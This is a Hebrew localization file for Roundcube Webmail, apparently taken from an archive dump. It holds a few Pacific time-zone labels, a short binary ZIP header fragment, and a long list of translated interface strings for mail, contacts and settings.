$labels['tz:pacific:apia'] = 'אפיה';
$labels['tz:pacific:auckland'] = 'אוקלנד';
$labels['tz:pacific:bougainville'] = 'בוגיינוויל';
$labels['tz:pacific:chatham'] = 'צ\'טהאם';
$labels['tz:pacific:chuuk'] = 'צ\'וק';
$labels['tz:pacific:easter'] = 'איסטר';
$labels['tz:pacific:efate'] = 'אפאטה';
$labels['tz:pacific:enderbury'] = 'אנדרבורי';
$labels['tz:pacific:fakaofo'] = 'פקאופו';
$labels['tz:pacific:fiji'] = 'פיג\'י';
$labels['tz:pacific:funafuti'] = 'פונאפוטי';
$labels['tz:pacific:galapagos'] = 'גלאפאגוס';
$labels['tz:pacific:gambier'] = 'גאמבייר';
$labels['tz:pacific:guadalcanal'] = 'גואדאלקנאל';
$labels['tz:pacific:guam'] = 'גואם';
$labels['tz:pacific:honolulu'] = 'הונולולו';
$labels['tz:pacific:johnston'] = 'ג\'ונסטון';
$labels['tz:pacific:kiritimati'] = 'קיריטימאטי';
$labels['tz:pacific:kosrae'] = 'קושאי';
$labels['tz:pacific:kwajalein'] = 'קוואז\'אליין';
$labels['tz:pacific:majuro'] = 'מאז\'ורו';
$labels['tz:pacific:marquesas'] = 'מארקסאס';
$labels['tz:pacific:midway'] = 'מידוויי';
$labels['tz:pacific:nauru'] = 'נאורו';
$labels['tz:pacific:niue'] = 'ניואיי';
$labels['tz:pacific:norfolk'] = 'נורפוק';
$labels['tz:pacific:noumea'] = 'נומיאה';
$labels['tz:pacific:pago_pago'] = 'פאגו פאגו';
$labels['tz:pacific:palau'] = 'פאלאו';
$labels['tz:pacific:pitcairn'] = 'פיטקרן';
$labels['tz:pacific:pohnpei'] = 'פונפיי';
$labels['tz:pacific:port_moresby'] = 'פורט מורסבי';
$labels['tz:pacific:rarotonga'] = 'רארוטונגה';
$labels['tz:pacific:saipan'] = 'סאיפאן';
$labels['tz:pacific:tahiti'] = 'טהיטי';
$labels['tz:pacific:tarawa'] = 'טאראווה';
$labels['tz:pacific:tongatapu'] = 'טונגטאפו';
$labels['tz:pacific:wake'] = 'ווייק';
$labels['tz:pacific:wallis'] = 'ווליס';
PK
h�\d�U����%program/localization/he_IL/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'ברוך בואך אל $product';
$labels['username'] = 'שם משתמש';
$labels['password'] = 'סיסמה';
$labels['server'] = 'שרת';
$labels['login'] = 'כניסה';
$labels['oauthlogin'] = 'כניסה עם provider$';
$labels['menu'] = 'תפריט';
$labels['logout'] = 'יציאה';
$labels['mail'] = 'רשימת הודעות';
$labels['settings'] = 'הגדרות אישיות';
$labels['addressbook'] = 'פנקס כתובות';
$labels['darkmode'] = 'רקע כהה';
$labels['lightmode'] = 'רקע בהיר';
$labels['inbox'] = 'נכנס';
$labels['drafts'] = 'טיוטות';
$labels['sent'] = 'נשלח';
$labels['trash'] = 'אשפה';
$labels['junk'] = 'זבל';
$labels['show_real_foldernames'] = 'הצגת שמות אמיתיים של תיקיות מיוחדות';
$labels['subject'] = 'נושא';
$labels['from'] = 'מאת';
$labels['sender'] = 'השולח';
$labels['to'] = 'אל';
$labels['cc'] = 'לידיעה';
$labels['bcc'] = 'מכותב מוסתר';
$labels['replyto'] = 'כתובת למענה';
$labels['followupto'] = 'כתובת להעברת הודעה';
$labels['date'] = 'תאריך';
$labels['size'] = 'גודל';
$labels['priority'] = 'עדיפות';
$labels['organization'] = 'ארגון';
$labels['readstatus'] = 'נקרא';
$labels['listoptions'] = 'הצגת אפשרויות...';
$labels['listoptionstitle'] = 'רשימת אפשרויות';
$labels['mailboxlist'] = 'תיקיות';
$labels['messagesfromto'] = 'הודעות $from עד $to מתוך $count';
$labels['threadsfromto'] = 'שרשור $from עד $to מתוך $count';
$labels['messagenrof'] = 'הודעה $nr מתוך $count';
$labels['fromtoshort'] = '$from – $to מתוך $count';
$labels['copy'] = 'העתק';
$labels['move'] = 'העבר';
$labels['moveto'] = 'תיוק ב...';
$labels['copyto'] = 'העתקה אל...';
$labels['download'] = 'הורדה';
$labels['open'] = 'לפתוח';
$labels['showattachment'] = 'הצגה';
$labels['showanyway'] = 'להציג בכל מקרה';
$labels['filename'] = 'שם קובץ';
$labels['filesize'] = 'גודל קובץ';
$labels['addtoaddressbook'] = 'הוספה לפנקס כתובות';
$labels['sun'] = 'יום א';
$labels['mon'] = 'יום ב';
$labels['tue'] = 'יום ג';
$labels['wed'] = 'יום ד';
$labels['thu'] = 'יום ה';
$labels['fri'] = 'יום ו';
$labels['sat'] = 'יום ש';
$labels['sunday'] = 'ראשון';
$labels['monday'] = 'שני';
$labels['tuesday'] = 'שלישי';
$labels['wednesday'] = 'רביעי';
$labels['thursday'] = 'חמישי';
$labels['friday'] = 'ששי';
$labels['saturday'] = 'שבת';
$labels['jan'] = 'ינו';
$labels['feb'] = 'פבר';
$labels['mar'] = 'מרץ';
$labels['apr'] = 'אפר';
$labels['may'] = 'מאי';
$labels['jun'] = 'יונ';
$labels['jul'] = 'יול';
$labels['aug'] = 'אוג';
$labels['sep'] = 'ספט';
$labels['oct'] = 'אוק';
$labels['nov'] = 'נוב';
$labels['dec'] = 'דצמ';
$labels['longjan'] = 'ינואר';
$labels['longfeb'] = 'פברואר';
$labels['longmar'] = 'מרץ';
$labels['longapr'] = 'אפריל';
$labels['longmay'] = 'מאי';
$labels['longjun'] = 'יוני';
$labels['longjul'] = 'יולי';
$labels['longaug'] = 'אוגוסט';
$labels['longsep'] = 'ספטמבר';
$labels['longoct'] = 'אוקטובר';
$labels['longnov'] = 'נובמבר';
$labels['longdec'] = 'דצמבר';
$labels['today'] = 'היום';
$labels['refresh'] = 'רענון';
$labels['checkmail'] = 'משיכת הודעות חדשות';
$labels['compose'] = 'כתיבת הודעה';
$labels['writenewmessage'] = 'יצירת הודעה חדשה';
$labels['reply'] = 'תגובה';
$labels['replytomessage'] = 'מענה לשולח';
$labels['replytoallmessage'] = 'מענה לשולח ולכל הנמענים';
$labels['replyall'] = 'מענה לכולם';
$labels['replylist'] = 'מענה לרשימת תפוצה';
$labels['forward'] = 'העברה';
$labels['forwardinline'] = 'העבר בגוף ההודעה';
$labels['forwardattachment'] = 'העבר כצרופה';
$labels['forwardmessage'] = 'העבר הודעה';
$labels['bouncemsg'] = 'שליחה מחדש (כי המערכת החזירה את המשלוח)';
$labels['bounce'] = 'שליחה מחדש';
$labels['deletemessage'] = 'מחיקה';
$labels['movemessagetotrash'] = 'השלכה לאשפה';
$labels['printmessage'] = 'הדפסה';
$labels['previousmessage'] = 'הצגת הודעה קודמת';
$labels['firstmessage'] = 'הצגת ההודעה הראשונה';
$labels['nextmessage'] = 'הצגת ההודעה הבאה';
$labels['lastmessage'] = 'הצגת ההודעה האחרונה';
$labels['backtolist'] = 'חזרה אל רשימת ההודעות';
$labels['viewsource'] = 'הצגת קוד מקור';
$labels['mark'] = 'סימון';
$labels['markmessages'] = 'סימון הודעות';
$labels['markread'] = 'כנקראו';
$labels['markunread'] = 'כלא נקראו';
$labels['markflagged'] = 'כמסומן';
$labels['markunflagged'] = 'כלא מסומן';
$labels['markundeleted'] = 'כמי שלא נמחקו';
$labels['moreactions'] = 'פעולות נוספות...';
$labels['markallread'] = 'סימון כל ההודעות כאילו נקראו';
$labels['folders-cur'] = 'רק התיקיה שנבחרה';
$labels['folders-sub'] = 'רק התיקיה שנבחרה ותת התיקיות שלה';
$labels['folders-all'] = 'כל התיקיות';
$labels['more'] = 'עוד';
$labels['back'] = 'חזרה';
$labels['options'] = 'אפשרויות';
$labels['composeoptions'] = 'אפשרויות יצירת הודעה';
$labels['optionsandattachments'] = 'אפשרויות וצרופות';
$labels['actions'] = 'פעולות';
$labels['first'] = 'ראשונה';
$labels['last'] = 'אחרונה';
$labels['previous'] = 'הקודמת';
$labels['next'] = 'הבאה';
$labels['select'] = 'בחירה';
$labels['selection'] = 'בחירה';
$labels['all'] = 'הכל';
$labels['none'] = 'כלום';
$labels['currpage'] = 'דף נוכחי';
$labels['isread'] = 'קריאה';
$labels['unread'] = 'לא נקראו';
$labels['flagged'] = 'מסומן';
$labels['unflagged'] = 'לא מדוגלת';
$labels['unanswered'] = 'לא נענה';
$labels['withattachment'] = 'עם צרופה';
$labels['deleted'] = 'נמחק';
$labels['undeleted'] = 'לא נמחק';
$labels['replied'] = 'נענתה';
$labels['forwarded'] = 'קודמה';
$labels['invert'] = 'היפוך הסימון';
$labels['filter'] = 'סינון';
$labels['list'] = 'רשימה';
$labels['threads'] = 'שרשור';
$labels['expand-all'] = 'הרחבה כלית';
$labels['expand-unread'] = 'הרחבה טרם נקרא';
$labels['collapse-all'] = 'כינוס כללי';
$labels['threaded'] = 'משורשר';
$labels['showunread'] = 'הצגת הודעות שלא נקראו';
$labels['autoexpand_threads'] = 'הרחבת הודעות משורשרות';
$labels['do_expand'] = 'כל השרשורים';
$labels['expand_only_unread'] = 'רק עם הודעות שטרם נקראו';
$labels['fromto'] = 'שולח/נמען';
$labels['flag'] = 'דגל';
$labels['attachment'] = 'צרופה';
$labels['nonesort'] = 'כלום';
$labels['sentdate'] = 'תאריך משלוח';
$labels['arrival'] = 'תאריך הגעה';
$labels['asc'] = 'בסדר עולה';
$labels['desc'] = 'בסדר יורד';
$labels['listcolumns'] = 'רשימת עמודות';
$labels['listsorting'] = 'המיון לפי העמודה';
$labels['listorder'] = 'סדר מיון';
$labels['listmode'] = 'אופן הצגת רשימה';
$labels['lmode'] = 'מצב רשימה';
$labels['layout'] = 'מערך';
$labels['layoutwidescreen'] = 'מסך רחב';
$labels['layoutdesktop'] = 'מחשב שולחני';
$labels['layoutlist'] = 'רשימה';
$labels['layoutwidescreendesc'] = 'פריסה רחבה (3 טורים)';
$labels['layoutdesktopdesc'] = 'שולחן עבודה (פריסה רחבה והצגת ההודעה למטה)';
$labels['layoutlistdesc'] = 'רשימה (ללא הצגת ההודעה)';
$labels['folderactions'] = 'פעולות על תיקיות';
$labels['compact'] = 'פינוי שטח לא מנוצל';
$labels['empty'] = 'ריקון';
$labels['importmessages'] = 'ייבוא הודעות';
$labels['mailimportdesc'] = 'ניתן להעלות דוא"ל באמצעות קבצים המקודדים כ MIME או MBOX';
$labels['mailimportzip'] = 'ניתן לדחוס מספר קבצים לתוך ארכיון ZIP';
$labels['quota'] = 'ניצול קיבולת';
$labels['unknown'] = 'לא ידוע';
$labels['unlimited'] = 'ללא הגבלה';
$labels['quotatype'] = 'טיפוס קווטה';
$labels['quotatotal'] = 'הגבלה';
$labels['quotaused'] = 'בשימוש';
$labels['quotastorage'] = 'נפח כונן';
$labels['quotamessage'] = 'ספירת הודעות';
$labels['shortheaderdate'] = 'ביום $date';
$labels['shortheaderto'] = 'עד $to ביום $date';
$labels['shortheaderfrom'] = 'מ- $from בתאריך $date';
$labels['quicksearch'] = 'חיפוש מהיר';
$labels['searchplaceholder'] = 'חיפוש...';
$labels['resetsearch'] = 'ניקוי תיבת החיפוש';
$labels['searchmod'] = 'מאפייני חיפוש';
$labels['msgtext'] = 'כל ההודעה';
$labels['body'] = 'גוף ההודעה';
$labels['type'] = 'סוג';
$labels['namex'] = 'שם';
$labels['searchscope'] = 'היקף';
$labels['currentfolder'] = 'תיקיה נוכחית';
$labels['subfolders'] = 'תיקיה זו ותת תיקיות';
$labels['allfolders'] = 'כל התיקיות';
$labels['searchinterval-1W'] = 'יותר משבוע';
$labels['searchinterval-1M'] = 'יותר מחודש';
$labels['searchinterval-1Y'] = 'יותר משנה';
$labels['searchinterval1W'] = 'פחות משבוע';
$labels['searchinterval1M'] = 'פחות מחודש';
$labels['searchinterval1Y'] = 'פחות משנה';
$labels['openinextwin'] = 'פתיחה בחלון חדש';
$labels['emlsave'] = 'הורדת הודעה בפורמט  EML';
$labels['changeformattext'] = 'הצגה בפורמט לא מעוצב';
$labels['changeformathtml'] = 'הצגה בפורמט HTML';
$labels['editasnew'] = 'עריכת ההודעה כחדשה';
$labels['send'] = 'שלח';
$labels['sendmessage'] = 'משלוח מיידי';
$labels['savemessage'] = 'שמירת טיוטה';
$labels['addattachment'] = 'צירוף קובץ';
$labels['charset'] = 'קידוד';
$labels['editortype'] = 'סוג עורך';
$labels['returnreceipt'] = 'אישור קבלה';
$labels['dsn'] = 'הודעה על מצב המסירה';
$labels['keepformatting'] = 'המשך עריכה';
$labels['mailreplyintro'] = ':כתב $sender, $date בתאריך';
$labels['originalmessage'] = 'הודעה מקורית';
$labels['selectimage'] = 'בחר תמונה';
$labels['addimage'] = 'הוסף תמונה';
$labels['selectmedia'] = 'בחר סרטון';
$labels['addmedia'] = 'הוסף סרטון';
$labels['encrypt'] = 'הצפנה';
$labels['encryptmessage'] = 'הצפנת הודעה';
$labels['encryptmessagemailvelope'] = 'הצפנה באמצעות Mailvelope';
$labels['importpubkeys'] = 'ייבוא מפתחות ציבוריים';
$labels['encryptedsendialog'] = 'נשלחת הודעה מוצפנת';
$labels['encryptandsign'] = 'להצפין ולחתום';
$labels['keyid'] = 'קוד זיהוי מפתח';
$labels['keylength'] = 'סיביות';
$labels['keyexpired'] = 'פג תוקף';
$labels['keyrevoked'] = 'נשלל';
$labels['bccinstead'] = 'שימוש במכותבים נסתרים';
$labels['addheader'] = 'הוספת נמען (כותרת)';
$labels['insert'] = 'הוספה בין ערכים';
$labels['insertcontact'] = 'פה יש להוסיף איש קשר';
$labels['recipient'] = 'הנמען';
$labels['recipientedit'] = 'עריכת נמענים';
$labels['editidents'] = 'עריכת זהויות';
$labels['spellcheck'] = 'איות';
$labels['checkspelling'] = 'בדיקת איות';
$labels['resumeediting'] = 'המשך עריכה';
$labels['revertto'] = 'חזור למצב קודם';
$labels['restore'] = 'שיחזור';
$labels['restoremessage'] = 'לשחזר הודעה?';
$labels['ignore'] = 'להתעלם';
$labels['responses'] = 'תגובות';
$labels['insertresponse'] = 'הכנסת תגובה';
$labels['manageresponses'] = 'ניהול תגובות';
$labels['newresponse'] = 'צור מענה חדש';
$labels['addresponse'] = 'הוסף מענה';
$labels['editresponse'] = 'עריכת תגובה';
$labels['editresponses'] = 'עריכת תגובות';
$labels['responsename'] = 'שם';
$labels['responsetext'] = 'גוף התגובה';
$labels['attach'] = 'צירוף';
$labels['attachments'] = 'צרופות';
$labels['upload'] = 'העלאה';
$labels['uploadprogress'] = '$percent ($current מתוך $total)';
$labels['close'] = 'סגירה';
$labels['messageoptions'] = 'אפשרויות הודעה...';
$labels['togglecomposeoptions'] = 'בחירה בין הגדרות בסיסיות או מתקדמות של יצירת הודעה';
$labels['attachmentrename'] = 'שינוי שם הצרופה';
$labels['low'] = 'נמוך';
$labels['lowest'] = 'נמוך ביותר';
$labels['normal'] = 'רגיל';
$labels['high'] = 'גבוה';
$labels['highest'] = 'גבוה ביותר';
$labels['nosubject'] = '(ללא נושא)';
$labels['showimages'] = 'הצגת תמונות';
$labels['allow'] = 'הרשאה';
$labels['alwaysshow'] = '$sender תמיד להציג תמונות מאת';
$labels['alwaysallow'] = 'תמיד לקבל מ- $sender';
$labels['isdraft'] = 'זו טיוטה של הודעה';
$labels['andnmore'] = 'עוד  $nr';
$labels['details'] = 'פרטים';
$labels['summary'] = 'סיכום';
$labels['headers'] = 'כותרות';
$labels['allheaders'] = 'כל הכותרות';
$labels['togglemoreheaders'] = 'הראה נתוני מערכת נוספים של ההודעה';
$labels['togglefullheaders'] = 'הראה / בטל צפיה בנתוני מערכת של ההודעה';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'ללא עיצוב';
$labels['savesentmessagein'] = 'היכן לשמור ההודעה?';
$labels['dontsave'] = 'ללא שמירה';
$labels['maxuploadsize'] = 'גודל מקסימלי לקובץ הוא  $size';
$labels['addcc'] = 'הוספת מכותב לידיעה';
$labels['addbcc'] = 'הוספת מכותב נסתר';
$labels['addreplyto'] = 'הוספת כתובת למענה';
$labels['addfollowupto'] = 'הוספת כתובת להעברת הודעה';
$labels['sendreceipt'] = 'לשלוח אישור קבלה?';
$labels['mdnrequest'] = 'השולח ביקש לדעת אם ההודעה נקראה. האם להודיע לשולח?';
$labels['receiptread'] = 'אישור קבלה (נקרא)';
$labels['yourmessage'] = 'אישור קבלה להודעתך';
$labels['receiptnote'] = 'הערה: האישור אינו מבטיח שהנמען קרא או הבין את תוכן ההודעה.';
$labels['sendalwaysto'] = 'לשלוח תמיד אל email$';
$labels['zoomin'] = 'מבט עמוק יותר לפרטים';
$labels['zoomout'] = 'מבט רחוק יותר מהפרטים';
$labels['rotate'] = 'לסובב';
$labels['increaseimage'] = 'להגדיל תמונה';
$labels['decreaseimage'] = 'להקטין תמונה';
$labels['rotateimage'] = 'לסובב תמונה';
$labels['showtools'] = 'הצגת כלים לעיבוד תמונה';
$labels['hidetools'] = 'הסתרת כלים לעיבוד תמונה';
$labels['name'] = 'שם להצגה';
$labels['firstname'] = 'שם פרטי';
$labels['surname'] = 'שם משפחה';
$labels['middlename'] = 'שם אמצעי';
$labels['nameprefix'] = 'קידומת';
$labels['namesuffix'] = 'סיומת';
$labels['nickname'] = 'שם חיבה';
$labels['jobtitle'] = 'תפקיד באירגון';
$labels['department'] = 'מחלקה';
$labels['gender'] = 'מגדר';
$labels['maidenname'] = 'שם משפחה לפני נישואין';
$labels['email'] = 'כתובת דוא"ל';
$labels['phone'] = 'מספר טלפון';
$labels['address'] = 'כתובת';
$labels['street'] = 'רחוב';
$labels['locality'] = 'עיר';
$labels['zipcode'] = 'מיקוד';
$labels['region'] = 'אישור';
$labels['country'] = 'מדינה';
$labels['birthday'] = 'יום הולדת';
$labels['anniversary'] = 'יום נישואין';
$labels['website'] = 'אתר אינטרנט';
$labels['instantmessenger'] = 'כינוי בצ\'ט';
$labels['notes'] = 'הערות';
$labels['male'] = 'זכר';
$labels['female'] = 'נקבה';
$labels['manager'] = 'מנהל/ת';
$labels['assistant'] = 'עוזר/ת';
$labels['spouse'] = 'בן/בת זוג';
$labels['allfields'] = 'כל השדות';
$labels['search'] = 'חיפוש';
$labels['searchresult'] = 'תוצאת חיפוש';
$labels['advsearch'] = 'חיםוש מתקדם';
$labels['advanced'] = 'מתקדם';
$labels['other'] = 'אחר';
$labels['printcontact'] = 'הדפסת נתונים של איש קשר';
$labels['qrcode'] = 'קוד QR';
$labels['typehome'] = 'בית';
$labels['typework'] = 'עבודה';
$labels['typeother'] = 'אחר';
$labels['typemobile'] = 'נייד';
$labels['typemain'] = 'עיקרי';
$labels['typehomefax'] = 'פקס בית';
$labels['typeworkfax'] = 'פקס עבודה';
$labels['typecar'] = 'מכונית';
$labels['typepager'] = 'זימונית';
$labels['typevideo'] = 'וידאו';
$labels['typeassistant'] = 'עוזר/ת';
$labels['typehomepage'] = 'דף הבית';
$labels['typeblog'] = 'יומן רשת';
$labels['typeprofile'] = 'פרופיל';
$labels['addfield'] = 'הוסף שדה';
$labels['addcontact'] = 'הוסף איש קשר';
$labels['editcontact'] = 'עריכת איש קשר';
$labels['contacts'] = 'אנשי קשר';
$labels['contactproperties'] = 'מאפייני איש קשר';
$labels['contactnameandorg'] = 'שם וארגון';
$labels['personalinfo'] = 'מידע אישי';
$labels['personal'] = 'אישי';
$labels['contactphoto'] = 'תצלום איש קשר';
$labels['edit'] = 'עריכה';
$labels['cancel'] = 'ביטול';
$labels['save'] = 'שמירה';
$labels['delete'] = 'מחיקה';
$labels['discard'] = 'להפטר';
$labels['continue'] = 'המשך';
$labels['ok'] = 'אשר/י';
$labels['rename'] = 'שינוי שם';
$labels['addphoto'] = 'הוספה';
$labels['replacephoto'] = 'החלפה';
$labels['uploadphoto'] = 'העלאת תמונה';
$labels['choosefile'] = 'יש לבחור קובץ...';
$labels['choosefiles'] = 'יש לבחור קבצים...';
$labels['browse'] = 'דפדוף';
$labels['newcontact'] = 'צור איש קשר חדש';
$labels['deletecontact'] = 'מחיקת אנשי קשר מסומנים';
$labels['composeto'] = 'יצירת הודעה אל';
$labels['contactsfromto'] = 'אנשי קשר $from עד $to מתוך $count';
$labels['print'] = 'הדפסה';
$labels['export'] = 'ייצוא';
$labels['exportall'] = 'יצוא של כל הרשומות';
$labels['exportsel'] = 'צוא של רשומות נבחרות';
$labels['exportvcards'] = 'ייצוא אנשי קשר בפורמט vCard';
$labels['newgroup'] = 'הוסף קבוצה חדשה';
$labels['addgroup'] = 'הוספת קבוצה';
$labels['grouprename'] = 'שינוי שם קבוצה';
$labels['groupdelete'] = 'מחיקת קבוצה';
$labels['groupassign'] = 'שיוך לקבוצה...';
$labels['groupremove'] = 'הסרה מקבוצה';
$labels['groupremoveselected'] = 'אנשי הקשר שנבחרו יוסרו מהקבוצה';
$labels['uponelevel'] = 'רמה אחת מעלה';
$labels['previouspage'] = 'הצגת הקבוצה הקודמת';
$labels['firstpage'] = 'הצגת הקבוצה הראשונה';
$labels['nextpage'] = 'הצגת הקבוצה הבאה';
$labels['lastpage'] = 'הצגת הקבוצה האחרונה';
$labels['group'] = 'קבוצה';
$labels['groups'] = 'קבוצות';
$labels['listgroup'] = 'רשימה של חברי קבוצה';
$labels['personaladrbook'] = 'כתובות פרטיות';
$labels['searchsave'] = 'שמירת החיפוש';
$labels['searchdelete'] = 'מחיקת החיפוש';
$labels['import'] = 'ייבוא';
$labels['importcontacts'] = 'ייבוא אנשי קשר';
$labels['importfromfile'] = 'ייבוא מקובץ';
$labels['importtarget'] = 'הוספת אנשי קשר אל ';
$labels['importreplace'] = 'החלפת כל פנקס הכתובות';
$labels['importgroups'] = 'ייבוא הגדרות קבוצה';
$labels['importgroupsall'] = 'הכל (יש להקים קבוצות אם צריך)';
$labels['importgroupsexisting'] = 'רק עבור קבוצות קיימות';
$labels['importdesc'] = 'ניתן להעלות אנשי קשר מפנקס כתובות קיים.  כרגע יש תמיכה ביבוא רשומות הערוכות בצורת vCard או CSV (מופרד פסיקים)';
$labels['importmapdesc'] = 'נא לאשר את מיפוי השדות שלהלן לפני שנמשיך עם יבוא קובץ נתונים מסוג CSV (מופרדים ע"י פסיקים)';
$labels['fieldnotmapped'] = 'השדה ללא מיפוי (לא לייבא)';
$labels['skipheader'] = 'לא לייבא שורה ראשונה (כותרות)';
$labels['done'] = 'בוצע';
$labels['settingsfor'] = 'הגדרות עבור';
$labels['about'] = 'אודות';
$labels['preferences'] = 'העדפות';
$labels['userpreferences'] = 'העדפות משתמש';
$labels['editpreferences'] = 'עריכה של העדפות משתמש';
$labels['identities'] = 'זהויות';
$labels['manageidentities'] = 'נהל זהויות';
$labels['newidentity'] = 'צור זהות חדשה';
$labels['addidentity'] = 'הוסף זהות';
$labels['editidentity'] = 'ערוך זהות';
$labels['identityencryption'] = 'הצפנה';
$labels['preferhtml'] = 'הצגת HTML';
$labels['defaultcharset'] = 'ברירת מחדל של תווים';
$labels['htmlmessage'] = 'תוכן HTML';
$labels['messagepart'] = 'גוף ההודעה';
$labels['digitalsig'] = 'חתימה דיגיטלית';
$labels['dateformat'] = 'פורמט התאריך';
$labels['timeformat'] = 'פורמט השעה';
$labels['prettydate'] = 'תאריכים מעוצבים';
$labels['setdefault'] = 'קביעה כברירת מחדל';
$labels['autodetect'] = 'אוטומטי';
$labels['language'] = 'שפה';
$labels['timezone'] = 'איזור זמן';
$labels['pagesize'] = 'מספר שורות בדף';
$labels['signature'] = 'חתימה';
$labels['dstactive'] = 'שעון קיץ';
$labels['showinextwin'] = 'צפיה בהודעה בחלון חדש';
$labels['composeextwin'] = 'יצירת הודעה בחלון חדש';
$labels['htmleditor'] = 'יצירת הודעה מעוצבת';
$labels['htmlonreply'] = 'רק במענה להודעת HTML';
$labels['htmlonreplyandforward'] = 'להעביר או להשיב להודעה שהגיעה בפורמט HTML';
$labels['htmlsignature'] = 'חתימה מעוצבת';
$labels['showemail'] = 'הצגת כתובת דוא"ל עם שם השולח';
$labels['previewpane'] = 'תצוגה מוקדמת';
$labels['skin'] = 'ערכת מראה';
$labels['logoutclear'] = 'ריקון סל אשפה ביציאה';
$labels['logoutcompact'] = 'פינוי שטח לא מנוצל ביציאה';
$labels['uisettings'] = 'ממשק משתמש';
$labels['serversettings'] = 'הגדרות שרת';
$labels['mailboxview'] = 'הצגת תיבת ההודעות';
$labels['mdnrequests'] = 'משלוח אישור מסירה';
$labels['askuser'] = 'שאל את המשתמש';
$labels['autosend'] = 'שליחה אוטומטית';
$labels['autosendknown'] = 'משלוח אישור קבלה רק לאנשי הקשר שלי';
$labels['autosendknownignore'] = 'משלוח אישור קבלה לאנשי הקשר שלי בלבד ולהתעלם מאחרים';
$labels['autosendtrusted'] = 'לשלוח אישור קבלה לשולחים מוכרים, בכל מקרה אחר לבקש אישור';
$labels['autosendtrustedignore'] = 'לשלוח אישור קבלה לשולחים מוכרים, אחרת להתעלם';
$labels['ignorerequest'] = 'להתעלם מהבקשה';
$labels['readwhendeleted'] = 'סימון הודעה כנקראה לאחר מחיקה';
$labels['flagfordeletion'] = 'סימון הודעה כמחוקה במקום מחיקה';
$labels['skipdeleted'] = 'הסתרת הודעות שנמחקו';
$labels['deletealways'] = 'אם העברה לתיקית מחיקה נכשלת יש למחוק לתמיד';
$labels['deletejunk'] = 'מחיקה ישירה של הודעות זבל';
$labels['showremoteimages'] = 'הצגת תמונות משרת מרוחק בגוף ההודעה';
$labels['allowremoteresources'] = 'אישור שימוש במשאבים מרוחקים (תמונות, סגנונות)';
$labels['fromknownsenders'] = 'משולחים מוכרים';
$labels['fromtrustedsenders'] = 'התקבל משולחים מוכרים';
$labels['frommycontacts'] = 'מאנשי הקשר שלי';
$labels['always'] = 'תמיד';
$labels['alwaysbutplain'] = 'תמיד, למעט בעת מענה לטקסט פשוט';
$labels['showinlineimages'] = 'הצגת תמונות מצורפות בתחתית ההודעה';
$labels['autosavedraft'] = 'שמירה אוטומטית של טיוטה';
$labels['everynminutes'] = 'כל $n דקות';
$labels['refreshinterval'] = 'רענון ההתצוגה לשם בדיקת קיום של הודעות חדשות וכדומה';
$labels['never'] = 'אף פעם';
$labels['immediately'] = 'מיידית';
$labels['messagesdisplaying'] = 'הצגת הודעות';
$labels['messagescomposition'] = 'כתיבת הודעות';
$labels['mimeparamfolding'] = 'שמות קבצים מצורפים';
$labels['2231folding'] = 'תאימות מלאה 2231 תאנדרבירד';
$labels['miscfolding'] = 'תאימות 2047/2231 אאוטלוק';
$labels['2047folding'] = 'תאימות מלאה 2047 אחרים';
$labels['force7bit'] = 'קידוד MIME עבור תווים בעלי 8 ביטים';
$labels['savelocalstorage'] = "שמירה באיחסון מקומי של הדפדפן (ארעית)";
$labels['advancedoptions'] = 'הגדרות נוספות';
$labels['toggleadvancedoptions'] = 'בחירה בין הגדרות בסיסיות או מתקדמות';
$labels['focusonnewmessage'] = 'מיקוד הסמן על החלון עם ההודעה החדשה';
$labels['checkallfolders'] = 'בדיקת הודעות חדשות בכל התיקיות';
$labels['displaynext'] = 'הצגת הרשומה הבאה לאחר מחיקה/העברה';
$labels['defaultfont'] = 'גופן ברירת מחדל להודעה בפורמט HTML';
$labels['mainoptions'] = 'אפשרויות עיקריות';
$labels['browseroptions'] = 'אפשרויות דפדפן';
$labels['section'] = 'קטע';
$labels['maintenance'] = 'תחזוקה';
$labels['newmessage'] = 'הודעה חדשה';
$labels['signatureoptions'] = 'אפשרויות לשיבוץ חתימה';
$labels['whenreplying'] = 'כאשר עונים';
$labels['replyempty'] = 'לא לצטט הודעה מקורית';
$labels['replytopposting'] = 'הודעה חדשה תתחיל מעל ההודעה המקורית';
$labels['replytoppostingnoindent'] = 'הודעה תתחיל מעל הקטע המצוטט (ללא נסיגה)';
$labels['replybottomposting'] = 'הודעה חדשה תתחיל מתחת להודעה המקורית';
$labels['replyremovesignature'] = 'החתימה תוסר מההודעה המקורית במענה להודעה';
$labels['autoaddsignature'] = 'הוספה אוטומטית של חתימה';
$labels['newmessageonly'] = 'הודעה חדשה בלבד';
$labels['replyandforwardonly'] = 'מענה והעברת הודעה בלבד';
$labels['insertsignature'] = 'שיבוץ חתימה';
$labels['sigbelow'] = 'למקם חתימה מתחת להודעת המצוטטת';
$labels['sigseparator'] = 'חובת שימוש במפריד תקני בחתימה';
$labels['automarkread'] = 'סימון הודעה כנקראה';
$labels['afternseconds'] = 'לאחר $n שניות';
$labels['reqmdn'] = 'תמיד יש לדרוש אישור קבלה';
$labels['reqdsn'] = 'תמיד לבקש הודעה על מצב המסירה';
$labels['replysamefolder'] = 'המענה ישמר בתיקיה של ההודעה המקורית';
$labels['defaultabook'] = 'ברירת המחדל של רשימת כתובות';
$labels['autocompletesingle'] = 'לדלג על כתובת דואר חילופית בעת שימוש בהשלמה אוטומטית של הקלדה';
$labels['listnamedisplay'] = 'הצגת איש הקשר בתור';
$labels['contactformmode'] = 'הצגה של טופס איש קשר';
$labels['privatemode'] = 'פרטי (בית)';
$labels['businessmode'] = 'עיסקי (עבודה)';
$labels['collectedaddresses'] = 'כתובות שלוקטו';
$labels['collectedrecipients'] = 'נמענים שלוקטו';
$labels['collectedrecipientsopt'] = 'לשמור כתובות נמענים של דואר יוצא ב-';
$labels['collectedsendersopt'] = 'לשמור שולחים מוכרים ב-';
$labels['trustedsenders'] = 'שולחים מוכרים';
$labels['spellcheckbeforesend'] = 'בדיקת איות לפני המשלוח';
$labels['spellcheckoptions'] = 'אפשריות בדיקת איות';
$labels['spellcheckignoresyms'] = 'התעלמות ממילים המכילות סמלים';
$labels['spellcheckignorenums'] = 'התעלמות ממילים המכילות מספרים';
